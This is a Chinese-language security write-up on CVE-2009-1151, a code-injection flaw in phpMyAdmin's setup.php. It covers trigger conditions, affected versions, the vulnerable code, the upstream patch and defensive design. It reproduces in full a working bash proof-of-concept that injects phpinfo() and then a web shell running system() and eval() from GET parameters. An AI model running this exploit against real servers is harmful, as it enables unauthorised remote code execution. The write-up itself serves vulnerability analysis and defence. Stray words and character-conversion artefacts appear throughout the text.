目录php
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防护方法 6. 攻防思考
1. 漏洞描述html
Insufficient output sanitizing when generating configuration file
phpMyAdmin是用PHP编写的工具,用于经过WEB管理MySQL
phpMyAdmin的Setup脚本用于生成配置。若是远程攻击者向该脚本提交了特制的POST请求的话,就可能在生成的config.inc.php 配置文件中包含任意PHP代码。因为配置文件被保存到了服务器上,未经认证的远程攻击者能够利用这个漏洞执行任意PHP代码mysql
Relevant Link:linux
http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1151 http://cwe.mitre.org/data/definitions/661.html http://sebug.net/vuldb/ssvid-11665 http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/
2. 漏洞触发条件git
要使用这个漏洞对服务器进行攻击,须要知足几个必要的条件2) linux: config目录对web server的帐户(经常是other组)具备写(r)权限github
1. PHPMyadmin目录下存在config文件夹 /* <?php $config = @fopen('./config/config.inc.php', 'w'); $s = "hello"; $r = fwrite($config, $s); fclose($config); ?> demo代码向config.inc.php中写入数据,可是若是config文件夹自己不存在,fopen函数是没法直接创新新目录并写入文件的,如要显式地建立新目录,并向目标文件写入数据 */ 这个漏洞的攻击场景是经过Code Inject(代码注入),基于WEB容器向磁盘上写入文件(建立文件),可是咱们知道操做系统的写文件API是不会自动建立目录的,若是config这个文件夹不存在,则即便存在漏洞,也没法成功利用 2. Web Server Writable 经过代码漏洞进行GETSHELL,本质上是在利用WEB容器调用操做系统的"文件系统API"进行磁盘读写,向指定的磁盘目录下写入一个特定内容的文件。因此,这就要求WEB容器对指定的磁盘路径具备"可写"的权限 1) windows: config目录对web server的帐户具备写权限 3. /scripts/setup.php文件自己存在漏洞 代码未对sava post的数据进行有效过滤、转义,是致使WEB入侵的根本缘由
0x0: 简单判断是否可能存在漏洞的方式web
http://localhost/phpMyAdmin-2.11.11.3-all-languages/scripts/setup.phpsql
当config文件夹不存在时,即便setup.php文件存在漏洞,黑客利用Poc也是没法向目标服务器打入WEBSHELL的shell
反之,若是没有出现这个提示,则说明具有存在漏洞的必要条件windows
0x1: Exploit POC
POC的发起须要附带对应的token,在手工测试的时候须要注意这点
#!/bin/bash # CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11 # by pagvac (gnucitizen.org), 4th June 2009. # special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln, # and to str0ke (milw0rm.com) for testing this PoC script and providing feedback! # PoC script successfully tested on the following targets: # phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1 # Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2) # attack requirements: # 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5 # and 3.x before 3.1.3.1 according to PMASA-2009-3 # 2) it *seems* this vuln can only be exploited against environments # where the administrator has chosen to install phpMyAdmin following # the *wizard* method, rather than manual method: http://snipurl.com/jhjxx # 3) administrator must have NOT deleted the '/config/' directory # within the '/phpMyAdmin/' directory. this is because this directory is # where '/scripts/setup.php' tries to create 'config.inc.php' which is where # our evil PHP code is injected 8) # more info on: # http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php # http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/ if [[ $# -ne 1 ]] then echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>" echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/" exit fi if ! which curl >/dev/null then echo "sorry but you need curl for this script to work!" echo "on Debian/Ubuntu: sudo apt-get install curl" exit fi function exploit { /*
动态获取token token=$1&action=save&configuration="a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:23:"host']="''; phpinfo();//";s:9:"localhost";s:9:""extension";s:6:"mysqli";s:12:"connect_type";s:3:""tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:""config";s:4:"user";s:4:"root";}}}&eoltype=unix */ postdata="token=$1&action=save&configuration="\ "a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\ "%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\ "%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\ "%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\ "%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix" /*
发起攻击 token=$1&action=save&configuration=a:1:"{s:7:"Servers";a:1:{i:0;a:6:{s:136:"host']="''; if(\$_GET['c']){echo '<pre>';"system(\$_GET['c']);echo '</pre>';}"if(\$_GET['p']){echo '<pre>';eval"(\$_GET['p']);echo '</pre>';};//"";s:9:"localhost";s:9:"extension";s:6:""mysqli";s:12:"connect_type";s:3:"tcp";s:8:""compress";b:0;s:9:"auth_type";s:6:"config"";s:4:"user";s:4:"root";}}}&eoltype=unix */ postdata2="token=$1&action=save&configuration=a:1:"\ "{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\ "%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\ "system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\ "if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\ "(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\ "%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\ "mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\ "%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\ "%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix" flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html" echo "[+] attempting to inject phpinfo() ..." curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null then curl -ks --url "$3/config/config.inc.php" >$flag echo "[+] success! phpinfo() injected successfully! output saved on $flag" curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:" echo " $3/config/config.inc.php?c=ls+-l+/" echo " $3/config/config.inc.php?p=phpinfo();" echo " please send any feedback/improvements for this script to"\ "unknown.pentester<AT_sign__here>gmail.com" else echo "[+] no luck injecting to $3/config/config.inc.php :(" exit fi } # end of exploit function cookiejar="/tmp/$(basename $0).$RANDOM.txt" token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12` echo "[+] checking if phpMyAdmin exists on URL provided ..." #if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null if grep phpMyAdmin $cookiejar &>/dev/null then length=`echo -n $token | wc -c` # valid form token obtained? if [[ $length -eq 32 ]] then echo "[+] phpMyAdmin cookie and form token received successfully. Good!" # attempt exploit! exploit $token $cookiejar $1 else echo "[+] could not grab form token. you might want to try exploiting the vuln manually :(" exit fi else echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?" exit fi
Relevant Link:
http://www.gnucitizen.org/static/blog/2009/06/phpmyadminrcesh.txt
3. 漏洞影响范围
0x1: 存在漏洞的程序版本
1. For 2.11.x: versions before 2.11.9.5 2. For 3.x: versions before 3.1.3.1
4. 漏洞代码分析
0x1: source code sample downloan link
http://download.chinaunix.net/download.php?id=29329&ResourceID=42
0x2: Vul Code Analysis
\setup.php: 漏洞存在在和配置文件读写相关的代码片断中
1. 对输入数据没有进行过滤、参数化防护
function get_cfg_string($cfg) { global $script_info, $script_version, $now, $crlf; $c = $cfg; $ret = "<?php$crlf/*$crlf * Generated configuration file$crlf * Generated by: $script_info$crlf * Version: $script_version$crlf * Date: " . $now . $crlf . ' */' . $crlf . $crlf; if (count($c['Servers']) > 0) { die(var_dump($c['Servers'])); $ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf; foreach ($c['Servers'] as $cnt => $srv) { $ret .= $crlf . '/* Server ' . strtr(get_server_name($srv, $cnt, false), '*', '-') . " */$crlf\$i++;" . $crlf; foreach ($srv as $key => $val) { /* $key = preg_replace('/[^A-Za-z0-9_]/', '_', $key); 对用户的输入数据没有进行必要的处理 1. 过滤、转移:防止出现代码和数据的混淆 2. 参数化防护:原则上只能接收来自用户的必定限定范围内的数据 */ $ret .= get_cfg_val("\$cfg['Servers'][\$i]['$key']", $val); } } $ret .= $crlf . '/* End of servers configuration */' . $crlf . $crlf; } unset($c['Servers']); foreach ($c as $key => $val) { /* $key = preg_replace('/[^A-Za-z0-9_]/', '_', $key); 对用户的输入数据没有进行必要的处理 1. 过滤、转移:防止出现代码和数据的混淆 2. 参数化防护:原则上只能接收来自用户的必定限定范围内的数据 */ $ret .= get_cfg_val("\$cfg['$key']", $val); } $ret .= '?>' . $crlf; return $ret; }
2. 对输出到磁盘文件上的数据没有进行必要的转义、过滤
... <?php break; case 'save': //以写的方式打开config.inc.php文件,若是不存在,则建立之 $config = @fopen('./config/config.inc.php', 'w'); if ($config === FALSE) { message('error', 'Could not open config file for writing! Bad permissions?'); break; } //从$_SESSION['configuration']中获取配置信息,而黑客能够经过$_POST数据包注入控制这个$SESSION['configuration']数组信息 $s = get_cfg_string($_SESSION['configuration']); $r = fwrite($config, $s); if (!$r || $r != strlen($s)) { message('error', 'Could not write to config file! Not enough space?'); break; } else { message('notice', 'Configuration saved to file config/config.inc.php in phpMyAdmin top level directory, copy it to top level one and delete directory config to use it.', 'File saved'); } unset($r, $s); fclose($config); break; ...
5. 修复方法
0x1: Upgrade to phpMyAdmin 2.11.9.5 or 3.1.3.1
0x2: Apply patch
function get_cfg_string($cfg) { global $script_info, $script_version, $now, $crlf; $c = $cfg; $ret = "<?php$crlf/*$crlf * Generated configuration file$crlf * Generated by: $script_info$crlf * Version: $script_version$crlf * Date: " . $now . $crlf . ' */' . $crlf . $crlf; if (count($c['Servers']) > 0) { $ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf; foreach ($c['Servers'] as $cnt => $srv) { $ret .= $crlf . '/* Server ' . strtr(get_server_name($srv, $cnt, false), '*', '-') . " */$crlf\$i++;" . $crlf; foreach ($srv as $key => $val) { //防护代码 $key = preg_replace('/[^A-Za-z0-9_]/', '_', $key); $ret .= get_cfg_val("\$cfg['Servers'][\$i]['$key']", $val); } } $ret .= $crlf . '/* End of servers configuration */' . $crlf . $crlf; } unset($c['Servers']); foreach ($c as $key => $val) { //防护代码 $key = preg_replace('/[^A-Za-z0-9_]/', '_', $key); $ret .= get_cfg_val("\$cfg['$key']", $val); } $ret .= '?>' . $crlf; return $ret; }
这是一种参数化防护的思想,将用户能够输入的server参数限定在"数字 or 字母"之中,防止黑客经过参数注入达到代码注入并执行的目的
Relevant Link:
https://github.com/phpmyadmin/phpmyadmin/commit/460a649dbcc47065fbf01bbc14392c3fc6ea161b
6. 攻防思考
0x1: Improper encoding
Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead. Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1"). If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.
Relevant Link:
http://cwe.mitre.org/data/definitions/116.html
0x2: 中心化、底层代码逻辑防护思想
对于WEB代码层漏洞的防护和修复,将防护点下移,在中心、底层的代码逻辑部署防护模块。基于这个思想,咱们能够有以下几种防护代码部署方式
1. 在系统边界的数据接收模块中部署参数化防护、过滤模块 2. 在代码执行的底层执行逻辑块中部署恶意、可疑代码检测、清洗模块
关于这种防护思想的应用,请参阅另外2篇文章
http://www.cnblogs.com/LittleHann/p/3602731.html http://www.cnblogs.com/LittleHann/p/3574694.html
Copyright (c) 2014 LittleHann All rights reserved